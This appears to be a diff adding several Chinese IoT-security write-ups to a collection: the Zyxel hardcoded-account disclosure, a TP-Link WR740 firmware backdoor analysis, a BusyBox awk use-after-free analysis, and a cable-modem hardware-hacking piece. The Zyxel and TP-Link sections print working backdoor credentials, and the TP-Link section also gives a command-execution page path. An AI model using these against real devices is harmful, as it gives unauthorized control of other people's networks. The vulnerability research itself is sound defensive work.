幸运的是,一些javascript和css文件可以避开身份验证,直接从这些设备的Web界面获得请求。这些文件也会随着每个固件版本的变化而变化。使用此信息,研究员可以获得易受攻击固件版本的某些信息。
|
||||
|
||||
从而使用此信息来标识荷兰 1000 台设备的固件版本,发现了大约有 10% 正在运行的设备受到了影响。Zyxel 确实提供自动更新,但默认情况下从未启用这些更新。
|
||||
|
||||
此外,由于 zyfwp 用户具有管理员权限,所以这个漏洞存在的威胁不容小觑。攻击者可能会完全破坏设备的机密性、完整性和可用性。
|
||||
|
||||
例如,有人可以更改防火墙设置以允许或阻止某些流量。他们还可以拦截流量或创建 VPN 帐户以访问设备后面的网络,再加上存在 Zerologon 这样的漏洞,因此这将会对中小型企业造成毁灭性打击。
|
||||
|
||||
**据悉,Zyxel 大部分主打产品均存在这个漏洞,受影响的产品型号包括:**
|
||||
|
||||
Advanced Threat Protection ( ATP ) 系列:主要用于防火墙
|
||||
|
||||
Unified Security Gateway ( USG ) 系列:主要用于混合防火墙或者 VPN 网关
|
||||
|
||||
USG FLEX 系列:主要用于混合防火墙或者 VPN 网关
|
||||
|
||||
VPN 系列:主要用于 VPN 网关
|
||||
|
||||
NXC 系列:主要用于 WLAN 接入点控制
|
||||
|
||||
**据 Zyxel 所言,该帐户旨在通过 FTP 为接入点提供自动固件更新,在两周内公司已发布了一个更新的的固件版本。**
|
||||
|
||||
以下是描述此漏洞发行说明中的部分条目:
|
||||
|
||||
```
|
||||
[BUG FIX][CVE-2020-29583]
|
||||
a. Vulnerability fix for undocumented user account.
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
据调查,目前只有 ATP、USG、USG Flex 和 VPN 系列的补丁。根据 Zyxel 的安全咨询,NXC 系列的补丁预计将在 2021 年 4 月推出。
|
||||
|
||||
在安装补丁之后,Eye Control 表示可以删除后门帐号 -- 用户名为 "zyfwp",密码为 "PrOw!aN_fXp"。 建议设备拥有者在时间允许的情况下尽快更新系统。
|
||||
|
||||
**附:发现漏洞相关时间线**
|
||||
|
||||
2020-11-29:EYE 报告 Zyxel 安全性的漏洞
|
||||
|
||||
2020-11-30:Zyxel 确认收到
|
||||
|
||||
2020-12-02:Zyxel 请求了解有关如何发现漏洞的信息
|
||||
|
||||
2020-12-03:EYE 发送更多详细信息
|
||||
|
||||
2020-12-08:Zyxel 发布测试版固件 4.60-WK48,并删除其站点上的易受攻击的固件版本
|
||||
|
||||
2020-12-15:Zyxel 发布固件 4.60 修补程序 1 适用于大多数设备
|
||||
|
||||
2020-12-18:Zyxel 发布固件 4.60 修补程序 1,适用于所有剩余设备
|
||||
|
||||
2020-12-23:Zyxel 发布咨询
|
||||
|
||||
-end
|
||||
@@ -0,0 +1,130 @@
|
||||
# 路由器TP-Link WR740后门漏洞
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/103
|
||||
|
||||
## 0x00 描述
|
||||
|
||||
> 测试环境:Ubuntu 18.04
|
||||
>
|
||||
> 固件版本:wr740nv1_en_3_12_4_up(100910).bin
|
||||
>
|
||||
> 产品厂商:TP-Link
|
||||
>
|
||||
> 厂商地址:[https://www.tp-link.com.cn/](https://www.tp-link.com.cn/)
|
||||
|
||||
## 0x01 固件分析
|
||||
|
||||
将固件下载到Ubuntu中,使用命令binwalk进行解包,拿到固件的文件系统
|
||||
|
||||

|
||||
|
||||
```text
|
||||
这里介绍一个常用的小工具 firmwalk.sh,工具下载链接 https://github.com/craigz28/firmwalker
|
||||
|
||||
1. 它将搜索固件文件系统,以获取与敏感信息相关的东西,如:etc/shadow and etc/passwd
|
||||
|
||||
2. 列出 etc/ssl等目录
|
||||
|
||||
3. 搜索相关的文件,如. pem,. crt, 等
|
||||
|
||||
4. 搜索配置文件
|
||||
|
||||
5. 查找脚本文件
|
||||
|
||||
6. 搜索其他.bin 文件
|
||||
|
||||
7. 查找诸如管理员,密码,远程等关键字符
|
||||
|
||||
8. 搜索IoT设备上使用的通用网络服务器
|
||||
|
||||
9. 搜索常见的二进制文件,如 ssh,tftp,dropbear等
|
||||
|
||||
10. 搜索网址,电子邮件地址和IP地址
|
||||
```
|
||||
|
||||
接下来我们使用工具firmwalker对提取的固件进行扫描
|
||||
|
||||

|
||||
|
||||
通过上面的信息可以得到很多关键信息,这里我们着重查看图片上的几处关键信息
|
||||
|
||||
- 可以看到对于路由器的相关URL应该是/web/userRpm/xxxxx.htm这种,那么我们就可以合理的猜测,这应该是web服务相关的命令规范
|
||||
- 含有passwd和pwd相关的文件中,可以看到嵌入式web服务httpd,部分htm文件以及其他配置文件
|
||||
|
||||
可以看到它把固件的敏感信息都列举出来了,先不着急对文件进行分析,接下来我们看一下启动项有没有启动什么后门服务,如telnet服务等
|
||||
|
||||
一般启动项文件都位于etc目录下面,我们到etc目录下面进行查看
|
||||
|
||||

|
||||
|
||||
根据嵌入式Linux常用启动项位置可以确定启动项文件就位于rc.d这个目录里面,打开此目录对里面的文件进行分析
|
||||
|
||||

|
||||
|
||||
可以看到他的HTTP服务都在httpd这个文件中,启动项没有其他的异常行为
|
||||
|
||||
那我们通过find命令查找一下这个文件的所在位置
|
||||
|
||||

|
||||
|
||||
可以看到文件在/usr/bin目录下面我们将文件移动到IDA中进行分析
|
||||
|
||||
## 0x02.IDA逆向分析
|
||||
|
||||
根据firmwalker收集到的跟passwd先关的文件就包含httpd二进制应用,这里我们直接在字符串窗口搜索passwd字符串
|
||||
|
||||

|
||||
|
||||
可以看到和passwd先关的字符串还有很多,那么我们可以逐个进行追踪
|
||||
|
||||

|
||||
|
||||
在这里可以看到passwd被调用的位置,直接双击箭头向上追踪
|
||||
|
||||

|
||||
|
||||
简单查看便可以看到很多硬编码的敏感字符串,使用F5生成伪C代码
|
||||
|
||||

|
||||
|
||||
可以看到在进行用户名和密码的比对,并且用户名和密码为osteam和5up,那么可以猜测这里应该是和某种认证相关
|
||||
|
||||
通过httpGetEnv函数的第二个参数名称cmd,可以猜测这应该是执行命令的地方
|
||||
|
||||
接着可以看到write函数调用了pty来模拟命令的执行
|
||||
|
||||
(知识扩充:伪终端(pseudo terminal,有时也被称为 pty)是指伪终端 master 和伪终端 slave 这一对字符设备。其中的 slave 对应 /dev/pts/ 目录下的一个文件,而 master 则在内存中标识为一个文件描述符(fd)。伪终端由终端模拟器提供,终端模拟器是一个运行在用户态的应用程序。)
|
||||
|
||||
根据当前函数DebugResultRpmHtm,追踪调用的位置
|
||||
|
||||

|
||||
|
||||
这里可以看到使用httpRpmConfAdd函数进行url和执行函数的定义,这里看到当前函数为httpDebugInit,似乎是进行Debug调试的,接着可以看到有一个linux_cmdline.html的页面
|
||||
|
||||

|
||||
|
||||
一看到这个页面可以执行系统命令,可以确定linux_cmdline.html似乎是一个后门,但是想要执行命令还需要用户名和密码,根据上面的分析我们可以确定用户名为osteam和密码5up的账户为后门登录的账号和密码
|
||||
|
||||
## 0x03 漏洞验证
|
||||
|
||||
> 工具下载地址:[https://github.com/pr0v3rbs/FirmAE](https://github.com/pr0v3rbs/FirmAE)
|
||||
|
||||
接下来我们去验证上面我们的猜想,接下来我们就对固件进行模拟
|
||||
|
||||
这里推荐使用工具FirmAE,为什么推荐呢?这个工具使用高度集成化的操作,只需要使用一条命令即可对固件进行模拟,比起使用qemu来模拟固件方便快捷了很多
|
||||
|
||||

|
||||
|
||||
可以看到固件模拟成功,浏览器进行访问[http://192.168.1.1/userRpmNatDebugRpm26525557/linux_cmdline.html](http://192.168.1.1/userRpmNatDebugRpm26525557/linux_cmdline.html)
|
||||
|
||||

|
||||
|
||||
可以看到需要授权,使用默认的账号密码进行登录
|
||||
|
||||

|
||||
|
||||
输入用户名,密码以及要执行的命令,可以看到成功执行并返回了相应的结果
|
||||
|
||||
## 0x04.总结
|
||||
|
||||
通过上面的分析,可以看到信息收集对我们漏洞分析和漏洞挖掘有很大的帮助,通过敏感的信息,我们能更快的定位到漏洞产生的位置,并且我们掌握的信息越多,漏洞分析和漏洞挖掘的速度和效率越高。
|
||||
@@ -0,0 +1,137 @@
|
||||
# 车联网开源组件BusyBox漏洞分析及复现(CVE-2022-30065)
|
||||
> Pachimker
|
||||
> 来源:https://www.iotsec-zone.com/article/362
|
||||
|
||||
## 背景
|
||||
|
||||
近日,国内多家安全实验室检测到了针对于智能网联汽车中使用都开源项目busybox漏洞,国外在2022年5月份报告了此漏洞,目前已经发布的CVE信息如下,信息中指出Busybox1.35-x版本中,awk应用由于use after free导致拒绝服务漏洞或可能获取代码执行权限。
|
||||
|
||||

|
||||
|
||||
## 漏洞原理
|
||||
|
||||
根据CVE发布信息公告来看,该漏洞属于堆溢出漏洞,具体漏洞类型为use after free。简单来说,use after free漏洞的形成过程如下,如果我们申请一块内存然后释放后,此时重新申请一块相同大小的内存,操作系统为了内存空间的管理方便,会将上一次释放掉的内存重新分配给我们。此时上一个申请的指针没有被清空,而且重新给内存赋值的话,就会影响第二次申请内存中的内容。use after free的本质为俩个指针同时指向同一块内存,而当一个chunk被free后,其中该chunk中的数据具有部分结构的控制作用,使用另一个指针修改控制结构的数据,程序控制流就会被改变。
|
||||
|
||||
示例如下,在下图源码中,我们使用指针chunk1指向了malloc分配了0x10字节的内存,随后在内存中拷贝"test1"字符串到内存中,此时打印出来的chunk1地址为0x8c71e260,里面的内容为test1。随后我们释放掉chunk1,此时使用chunk2指针指向malloc重新分配的0x10字节,然后在chunk2内存中写入"test2"字符串,打印出来chunk2的地址也是0x8c71e260。这时如果我们向chunk1指针指向的内存中写入"test3"字符串,打印chunk2里面的内容,我们就会发现明明没有修改chunk2的内容,但是打印时chunk2里面的内容却变了。
|
||||
|
||||

|
||||
|
||||
知道了漏洞的大概类型后,我们便可以进行简单分析。首先在busybox官网(https://busybox.net/downloads/)中,下载1.35.0版本和最新的1.36.0版本。根据CVE发布信息我们得知是awk应用程序存在漏洞,所以我们直接使用vimdiff比较俩个版本的awk.c文件。在vimdiff的比较中,我们发现在evaluate函数中的case XC(OC_MOVE)中进行了补丁更改。
|
||||
|
||||

|
||||
|
||||
打开1.35.0版本awk.c文件中未经patch处的对应代码块,该代码块位于evaluate函数中,在该case分支下,出现了CVE公告中提到的漏洞函数copyvar。由于此时我们对整个程序的架构和执行流程还不太清楚。我们先简单跟一下可能具有漏洞的具体情况,堆溢出的漏洞一般都发生在*alloc或free函数附近。use after free漏洞一般在free函数居多,我们接下来跟流程重点关注一下free函数。
|
||||
|
||||

|
||||
|
||||
进入查看发现clrvar对第一个参数进行操作,随后使用handle_special函数对dest进行处理。进入查看发现clrvar函数调用free函数对内存进行了释放。
|
||||
|
||||

|
||||
|
||||
上面的俩个函数都用到了var结构体,结构体定义如下:
|
||||
|
||||

|
||||
|
||||
接下来返回awk_main函数简单观察一下执行流程。发现程序首先进行一系列设置,指定了标准输入输出,随后使用awk_getline获取用户输入,并循环使用evaluate函数进行处理。
|
||||
|
||||

|
||||
|
||||
在evaluate函数中,首先调用nvalloc分配了2个var大小的堆内存。然后将该指针命名为了TMPVAR0。随后根据传入的op结构体信息循环处理。在循环处理中又使用switch case分支处理,在XC(OC_MOVE)中调用了我们分析的copyvar函数。
|
||||
|
||||

|
||||
|
||||
根据前面的流程分析和patch后的代码判断,如果我们输入数据可以控制L.v的指针指向tmpvars(TMPVAR0),那么这时用户修改的指针和系统自动分配的tmpvars都指向同一块内存,而在case XC(OC_MOVE)中,如果当其中一个指针指向的chunk被释放,而另一个指针指向chunk的内存继续使用时。修改被释放chunk的内存数据时,就会破坏free chunk list,从而导致堆溢出漏洞的产生。
|
||||
|
||||
## 漏洞分析
|
||||
|
||||
由于busybox多平台原因,为了方便调试,这里我选用靶场linux操作机进行操作。动态调试过程如下,在gdb调试后下断,并attach进程,断点信息如下。
|
||||
|
||||

|
||||
|
||||
直接按c运行,程序要求我们输入字符串,这里随意输入
|
||||
|
||||

|
||||
|
||||
程序直接断在了call free处,观察到RDI为空,我们不用管它。查看堆栈回溯发现程序是由awk_getline函数调用进行的,这里就是前面分析中awk_getline函数获取用户输入。
|
||||
|
||||

|
||||
|
||||
堆空间堆块排布信息如下,可以看到我们输入的"foo"字符串,堆内存结构此时还没有被破坏,我们继续往下调试。
|
||||
|
||||

|
||||
|
||||
调试过程中,释放的堆块信息比较复杂,我们使用bins命令查看当前free chunk list。
|
||||
|
||||

|
||||
|
||||
运行到了evaluate函数处,这里便是源码中使用nvalloc(xzalloc)函数分配tmpvars的堆内存。
|
||||
|
||||

|
||||
|
||||
这里直接断在了case XC(OC_MOVE)里面的copyvar函数,copyvar的第一个参数为L.v,第二个参数是R.v。这里L.v已经被修改成了tmpvars的指针,这样俩个指针同时指向了tmpvars的内存,后续会调用free函数进行释放。
|
||||
|
||||

|
||||
|
||||
si进入copyvar函数,运行到call clrvar处,这里的rdi即传入第一个参数的L.v的地址。clrvar会调用free函数进行释放。
|
||||
|
||||

|
||||
|
||||
运行后进入handle_special函数,后续流程较为复杂,直接在漏洞触发点getvar_i处下断点。运行后,断点停在了call getvar_i函数,我们跟入分析。
|
||||
|
||||

|
||||
|
||||
在getvar_i函数中,对0x55555585caa0指针指向chunk进行了修改(v->type)。
|
||||
|
||||

|
||||
|
||||
此时getvar_i函数中处理的v->type即为tmpvars free chunk的控制结构,函数这里直接对其进行了处理,导致堆结构的改变。
|
||||
|
||||

|
||||
|
||||
此时0x55555585caa0中数据0x55555585caf0被修改,原来的free chunk list已经被破环,修改后0x55555585caa0指向的下一个free chunk被修改为0x55555585c9f0。
|
||||
|
||||

|
||||
|
||||
当我们进行第二次输入字符串时,会继续对堆空间进行申请和释放。当申请到0x55555585c9f0地址处的chunk时,会对堆空间进行数据更改,导致程序崩溃。
|
||||
|
||||

|
||||
|
||||
0x55555585c9f0地址处已经被申请,此时chunk结构被破坏,gdb插件已经无法识别剩余内容空间的堆结构。
|
||||
|
||||

|
||||
|
||||
堆块标识被清空,所以无法找到对应堆块的起始位置,所以插件识别不了。
|
||||
|
||||

|
||||
当继续往下调试时,程序崩溃。
|
||||
|
||||

|
||||
|
||||
下图为另一个poc测试出现的情况,这里面的topchunk标识被修改为0,当堆继续申请和释放时,程序同样会崩溃。
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
下载好busybox后直接使用源码进行编译安装
|
||||
|
||||
```
|
||||
make menuconfig
|
||||
make
|
||||
make install
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
使用已公开的poc进行测试,发现触发了漏洞。
|
||||
|
||||

|
||||
|
||||
由于busybox在不同系统中的编译使用,且不同系统编译后程序开启的保护也不同,那么这里获取执行权限的方式也不同。
|
||||
|
||||
## 总结
|
||||
|
||||
整体分析下来,该漏洞利用性不大,且获取执行权限的利用方式较为复杂,但因为其可能具有获取执行权限的情况,请使用busybox漏洞版本的各位用户尽快升级到最新版本。
|
||||
|
||||
-end
|
||||
@@ -0,0 +1,420 @@
|
||||
# 逆向硬件,手搓SDR射频设备
|
||||
> heiyu
|
||||
> 来源:https://www.iotsec-zone.com/article/470
|
||||
|
||||

|
||||
|
||||
# 介绍
|
||||
几周前,我对我衣柜里放着的一台老式电缆调制解调器 Motorola MB7220 感到好奇。最初,我对它的硬件和是否运行 Linux 感兴趣。一番快速搜索让我找到了一个网络论坛上的帖子,人们在讨论用于诊断的内置频谱分析仪功能。有人提到他们可以看到与 FM 广播电台对应的尖峰。这引发了一个想法:如果一台电缆调制解调器和一台数字电视调谐器棒基本上在做同样的事情(接收和解调 QAM 信号),那么一个调制解调器是否可以转变成一个 SDR(软件定义无线电),就像 RTL-SDR 一样?
|
||||
|
||||
进入这个项目时,我对射频几乎一无所知,也不知道这个目标对硬件是否可行。我找到了基于模拟设备电缆调制解调器芯片的SDR 项目,以及一个论坛帖子,几年前有人也对同样的事情感到困惑。
|
||||
|
||||
用户 VK4HAT 在帖子中的最后一篇帖子中提到:
|
||||
|
||||
```
|
||||
如果你有技能、时间和愿望,我建议尝试一下,看看你最终会走到哪里。如果谷歌没有显示任何结果,那么很可能还没有人尝试过。在生活中很少有第一次机会,抓住那些出现的机会,即使失败总是一个选择。
|
||||
```
|
||||
所以这正是我所做的。
|
||||
|
||||
# 获取访问权限
|
||||
|
||||
我的第一个目标是寻找一个访问向量或与设备通信的方法。我知道在 Web 界面上看不到太多内容,Telnet 被禁用了,所以我直接打开了它。
|
||||
|
||||
在从塑料外壳中拆下几颗螺丝以便接触电路板后,我的第一个想法是寻找UART标头以窥探串行控制台。在识别出两个由四个环绕在 PCB 边缘附近的焊盘组成的候选者后,是时候识别引脚了。使用万用表,通过检查与板上一个金属屏蔽罩之一的连续性,可以轻松识别地线引脚。当打开电路板时,可以通过测量每个引脚的电压来识别 VCC 引脚。它应该是稳定的 3.3 伏特,或在某些情况下是 1.8 伏特或 5 伏特。这个引脚是不需要的,但仍然有用于识别工作电压并排除一个 Tx 和 Rx 引脚的候选者。在启动时,Tx 引脚的平均值会略低于 VCC 引脚,并且在输出大量数据时会降得更低。这样最后一个引脚就是 Rx。
|
||||
|
||||
之前识别的其中一个 UART 似乎没有发送任何内容,而另一个 UART 有。在给活动 UART 焊接了一些导线后,我将 Tx 连接到树莓派上的 UART Rx GPIO 引脚,将 Rx 连接到树莓派的 Tx,地线连接到地线引脚。请注意,这只能做到是因为两个系统都是 3.3 伏特。如果不是这种情况,USB TTL 适配器可以轻松地使用,而且在大多数情况下可能更好。
|
||||
|
||||
树莓派不是最佳的串行接口的原因有几个,比如如果你需要奇偶校验或其他功能,但在这种情况下,我手头上有它并且它可以工作。树莓派的串行控制台也必须被禁用,以便为其他用途释放出来。我选择使用树莓派的另一个原因会在后面提到。
|
||||
|
||||
最后,要实际查看我使用的数据,我使用了 `cu`实用程序: `cu-l/dev/serial0-s115200` 波特率是一个幸运的猜测,但在这类设备上,115200 是非常常见的。 如果波特率错误,当您看到一堆垃圾时,您会很快知道 在屏幕上。逻辑分析仪可用于确定性地找到波特率 速率和其他参数,但猜测有时更快,总是 更便宜。
|
||||
|
||||
设备开机后,终端显示如下输出:
|
||||
|
||||
```
|
||||
1. pi@raspberrypi:~/modem $ cu -l /dev/serial0 -s 115200
|
||||
2. Connected.
|
||||
3. �
|
||||
4. B3312inim S C 84(9 m
|
||||
5. ose_VS 8
|
||||
6. STesldlo rh 83 rs 10
|
||||
7. STesldhi: _h 8, _s 13
|
||||
8. Sync: 0
|
||||
9. MemSize: 128 M
|
||||
10. Chip ID: BCM3383D-B0
|
||||
11. BootLoader Version: 2.4.0 fyl spiboot reduced DDR drive avs
|
||||
12. Build Date: Nov 12 2015
|
||||
13. Build Time: 14:31:43
|
||||
14. SPI flash ID 0xef4016, size 4MB, block size 64KB, write buffer 256, flags 0x0
|
||||
15. Cust key size 128
|
||||
16. Signature/PID: 3383
|
||||
17.
|
||||
18. Image 1 Program Header:
|
||||
19. Signature: 3383
|
||||
20. Control: 0005
|
||||
21. Major Rev: 0003
|
||||
22. Minor Rev: 0000
|
||||
23. Build Time: 2015/11/26 08:47:57 Z
|
||||
24. File Length: 1692841 bytes
|
||||
25. Load Address: 80004000
|
||||
26. Filename: ecram_sto.bin
|
||||
27. HCS: e749
|
||||
28. CRC: 175b753f
|
||||
29.
|
||||
30. Found image 1 at offset 20000
|
||||
31.
|
||||
32. Enter '1', '2', or 'p' within 2 seconds or take default...
|
||||
33.
|
||||
34. Performing CRC on Image 1...
|
||||
35. CRC time = 282177012
|
||||
36. Detected LZMA compressed image... decompressing...
|
||||
37. Target Address: 0x80004000
|
||||
38. decompressSpace is 0x8000000
|
||||
39. Elapsed time 736066500
|
||||
40.
|
||||
41. Decompressed length: 8091524
|
||||
42.
|
||||
43. Executing Image 1...
|
||||
44.
|
||||
45. eCos - hal_diag_init
|
||||
46. Ecos memory map:
|
||||
47. BLOCK OWNER MIPS SIZE MEM
|
||||
48. Block 0: Owner: 0 - 0x00000000 0x07e00000 0x00000000
|
||||
49. Block 0: Owner: 0 - 0 MB 126 MB 0 MB
|
||||
50. Block 1: Owner: 3 - 0x07e00000 0x00200000 0x07e00000
|
||||
51. Block 1: Owner: 3 - 126 MB 2 MB 126 MB
|
||||
52. 126MB (129024KB) remaining for eCos
|
||||
53. Init device '/dev/BrcmTelnetIoDriver'
|
||||
54. Init device '/dev/ttydiag'
|
||||
55. Init tty channel: 807bb020
|
||||
56. Init device '/dev/tty0'
|
||||
57. Init tty channel: 807bb040
|
||||
58. Init device '/dev/haldiag'
|
||||
59. HAL/diag SERIAL init
|
||||
60. Init device '/dev/ser0'
|
||||
61. BCM 33XX SERIAL init - dev: b4e00500.2
|
||||
62. Set output buffer - buf: 0x80852408 len: 4096
|
||||
63. Set input buffer - buf: 0x80853408 len: 4096
|
||||
64. BCM 33XX SERIAL config
|
||||
65. Init device '/dev/ser1'
|
||||
66. BCM 33XX SERIAL init - dev: b4e00520.3
|
||||
67. Set output buffer - buf: 0x80854408 len: 4096
|
||||
68. Set input buffer - buf: 0x80855408 len: 4096
|
||||
69. BCM 33XX SERIAL config
|
||||
70. Init device '/dev/ser2'
|
||||
71. InitBoard: MIPS frequency 637200000
|
||||
72.
|
||||
73. ...
|
||||
74.
|
||||
75. Reading Permanent settings from non-vol...
|
||||
76. Checksum for permanent settings: 0xe9d88f65
|
||||
77. Setting downstream calibration signature to '5.7.1mp1|die temperature:70.775degC'
|
||||
78. Settings were read and verified.
|
||||
79.
|
||||
80. Reading Dynamic settings from non-vol...
|
||||
81. Checksum for dynamic settings: 0x6e4a329
|
||||
82. Settings were read and verified.
|
||||
83.
|
||||
84. Console input has been disabled in non-vol.
|
||||
85. Console output has been disabled in non-vol! Goodbye...
|
||||
86. [00:00:00 01/01/1970] [Reset/Standby Switch Thread] BcmResetStandbySwitchThread::ProcessRes
|
||||
87. [00:00:00 01/01/1970] [Reset/Standby Switch Thread] BcmResetStandbySwitchThread::ProcessRes
|
||||
```
|
||||
这个输出包含大量信息。该设备在 Broadcom BCM3383 SoC 的 MIPS 处理器上运行eCos。事实证明,该 SoC 上实际上有两个 MIPS 处理器,尽管其中一个在这个调制解调器上没有使用,解释了另一个 UART。在一些设备上,第二个处理器将运行 Linux 以获得额外功能。
|
||||
|
||||
此外,这似乎是串行的终点,因为在启动实际操作系统后不久,它会禁用串行控制台。在引导加载程序提示处按“p”键并没有太多作用,除了通过 tftp 下载新的操作系统映像的方法以及用于读取和写入内存地址的实用程序。这可以用来绕过检查,但需要对操作系统和内存布局有更深入的了解。
|
||||
|
||||
# 倒掉闪存
|
||||
我的目标现在是启用串行控制台。检查板子发现一个单独的SPI闪存芯片,很可能包含引导加载程序、操作系统和配置,因为它是板子上唯一可见的非易失性存储器。
|
||||
|
||||
这就是树莓派再次派上用场的地方。 GPIO 头部还方便地包含了一个 SPI 接口,可以用来读取闪存芯片上的数据。
|
||||
|
||||
在芯片上搜索编号“winbond 25Q32JV”,可以找到包含引脚图的数据表。其中重要的引脚有 VCC、芯片选择(CS)、时钟(CLK)、数据输出(DO)、数据输入(DI)和地。
|
||||
|
||||
将 SPI 芯片倾倒在电路板上的一个常见问题是芯片需要电源,但这也通常会给电路板供电并导致其开始引导并使用芯片。我选择通过用我的焊接铁加热 VCC 引脚,并非常小心地将其从焊盘上抬起来来克服这个问题。这是一个方便但相当粗糙的解决方案,可能会导致引脚折断,因此请自行承担风险!我还在焊盘上焊接了一根跳线,并在浮动引脚上焊接了另一根跳线,这样我就可以轻松地连接和断开它们,并允许设备再次引导。
|
||||
|
||||
另一个注意事项是,某些板上的芯片选择引脚被假定为始终启用,因此直接连接到 VCC。这意味着当您给 CS 引脚供电时,板子也开始启动。这可以通过类似的方式解决 VCC 引脚的问题。
|
||||
|
||||
现在,可以将电线焊接到其余的引脚上,然后将它们连接到树莓派上。地线连接到地线(之前的 UART 地线也可以使用),VCC 连接到树莓派的 3.3v 引脚。(再次强调,必须通过数据表验证这是一个 3.3v 芯片,因为树莓派只支持 3.3v)。DO 引脚连接到树莓派的 SPI `MISO`(主入从出)引脚,DI 连接到 `MOSI`引脚(主出从入)。最后,时钟连接到 `SCLK` GPIO 引脚,片选连接到 `CE0`引脚。
|
||||
|
||||

|
||||
|
||||
要实际读取芯片,有一个名为flashrom的神奇工具,它支持大量芯片。 `flashrom`存在于许多发行版的存储库中,包括树莓派操作系统(以前称为 Raspbian)。
|
||||
|
||||
幸运的是,W25Q32JV 得到支持,以“W25Q32.V” 的名义。在 flashrom 维基上快速检查显示大小和电压与预期相匹配,并且芯片得到完全支持。
|
||||
|
||||
在继续之前,请确保使用 `raspi-config`实用程序启用 Pi 上的 SPI 接口,并在“接口选项”下进行检查。
|
||||
|
||||
最后我们可以读取芯片。首先验证它是否被检测到,以及一切是否连接正确:
|
||||
|
||||
```
|
||||
1. flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2000 \
|
||||
2. --chip W25Q32.V
|
||||
```
|
||||
如果成功,我们现在可以倾倒内容:
|
||||
|
||||
```
|
||||
1. flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2000 \
|
||||
2. --chip W25Q32.V \
|
||||
3. --read modem.bin
|
||||
```
|
||||
|
||||
# 固件分析
|
||||
快速查看十六进制转储可以看出,大部分数据是压缩或加密的,但在接近结尾处,配置是可见的。
|
||||
|
||||
```
|
||||
1. ...
|
||||
2. 003f00c0: ffff ffff ffff ffff ffff 0000 07b0 369a ..............6.
|
||||
3. 003f00d0: 6336 0010 434d 4170 0002 0000 0002 0000 c6..CMAp........
|
||||
4. 003f00e0: 0000 0057 4d4c 6f67 0005 0004 7573 6572 ...WMLog....user
|
||||
5. 003f00f0: 0004 7573 6572 0005 6164 6d69 6e00 086d ..user..admin..m
|
||||
6. 003f0100: 6f74 6f72 6f6c 6102 7465 6368 6e69 6369 otorola.technici
|
||||
7. ...
|
||||
```
|
||||
Web 界面凭据以及许多其他编码配置值都是明显可见的。在一番搜索后,我发现了一个名为的优秀项目,其中包含了用于转储、解析和修改 Broadcom 电缆调制解调器配置的实用工具。该存储库还包含了大量关于固件和配置格式的非常详细的文档。简要说明一下,转储功能需要 telnet 或串行连接,而我的设备上都没有这两种连接方式。
|
||||
|
||||
配置的开始实际上是在我的设备上的 0x003f0000,并包括 202 个 0xff 字节。从转储中提取配置后,我能够成功地使用 `bcm2cfg`读取它。
|
||||
|
||||
我启用了串行控制台以及 Telnet 访问,并设置了一个更简单的 Telnet 密码。
|
||||
|
||||
```
|
||||
1. $ ./bcm2-utils/bcm2cfg set bfc.serial_console_mode "rw"
|
||||
2. bfc.serial_console_mode = rw
|
||||
3. $ ./bcm2-utils/bcm2cfg set userif.remote_acc_methods 0x3
|
||||
4. userif.remote_acc_methods = http | telnet
|
||||
5. $ ./bcm2-utils/bcm2cfg set userif.remote_acc_pass abcd
|
||||
6. userif.remote_acc_pass = abcd
|
||||
```
|
||||
接下来,我将修改后的配置附加到一个填充了零直到适当偏移的文件上,并使用 `flashrom`将配置写回芯片。为了避免重写整个芯片,我为 `flashrom`创建了一个布局文件,这样它只会覆盖配置而不是整个内容,这就是为什么修改后的图像只是用零填充。布局文件看起来像这样:
|
||||
|
||||
```
|
||||
1. 00000000:003effff fw
|
||||
2. 003f0000:003fffff cfg
|
||||
```
|
||||
和命令:
|
||||
|
||||
```
|
||||
1. flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=2000 \
|
||||
2. --chip W25Q32.V \
|
||||
3. --layout ./layout \
|
||||
4. --image cfg \
|
||||
5. --write modem-modified.bin
|
||||
```
|
||||
打开串行控制台并重新启动后,我看到...与之前完全相同的东西。对闪存图像的进一步检查显示,初始配置后面有许多重复的副本。这些副本有轻微的差异,最明显的是额外的错误日志消息。看起来设备会滚动备份配置,以防一个被损坏。为了简化事情,我通过网络界面进行了一次工厂重置,以摆脱所有的错误日志消息。然后我再次转储了闪存,并重复了之前的过程,修改了干净的配置,只包括第一个副本。然后使用一些 `dd`命令,我宁愿不去考虑,我重建了整个配置部分,在每个配置开始的偏移处附加修改后的配置。刷入这个新镜像并再次启动后,我终于能够查看整个引导日志,然后访问控制台,尽管输出被一个正在寻找信号的进程淹没。
|
||||
|
||||
```
|
||||
1. ...
|
||||
2.
|
||||
3. Reading Permanent settings from non-vol...
|
||||
4. Checksum for permanent settings: 0xe9d88f65
|
||||
5. Setting downstream calibration signature to '5.7.1mp1|die temperature:70.775degC^@^@^@^@^@
|
||||
6. Settings were read and verified.
|
||||
7.
|
||||
8.
|
||||
9. Reading Dynamic settings from non-vol...
|
||||
10. Checksum for dynamic settings: 0x2630e508
|
||||
11. Settings were read and verified.
|
||||
12.
|
||||
13. [00:00:00 01/01/1970] [tStartup] BcmBfcFpmDriver::Init: (BFC FPM Driver) Setting FPM Buffe
|
||||
14. [00:00:00 01/01/1970] [tStartup] BcmBfcFpmDriver::Init: (BFC FPM Driver) fFpmLargestBuffer
|
||||
15. [00:00:00 01/01/1970] [tStartup] BcmBfcFpmDriver::Init: (BFC FPM Driver) Pool index: 0 po
|
||||
16. [00:00:00 01/01/1970] [tStartup] BcmBfcFpmDriver::Init: (BFC FPM Driver) Pool index: 1 po
|
||||
17. [00:00:00 01/01/1970] [tStartup] BcmBfcFpmDriver::Init: (BFC FPM Driver) Pool index: 2 po
|
||||
18. [00:00:00 01/01/1970] [tStartup] BcmBfcFpmDriver::Init: (BFC FPM Driver) Pool index: 3 po
|
||||
19. [00:00:00 01/01/1970] [tStartup] BcmBfcFpmDriver::Init: (BFC FPM Driver) Lookup table inde
|
||||
20.
|
||||
21. ...
|
||||
22.
|
||||
23. [00:00:18 01/01/1970] [Scan Downstream Thread] BcmGenericCmDownstreamScanThread::ThreadMain
|
||||
24. [00:00:18 01/01/1970] [Scan Downstream Thread] BcmGenericCmDownstreamScanThread::ScanStarti
|
||||
25. Resetting EnergyDetected to false.
|
||||
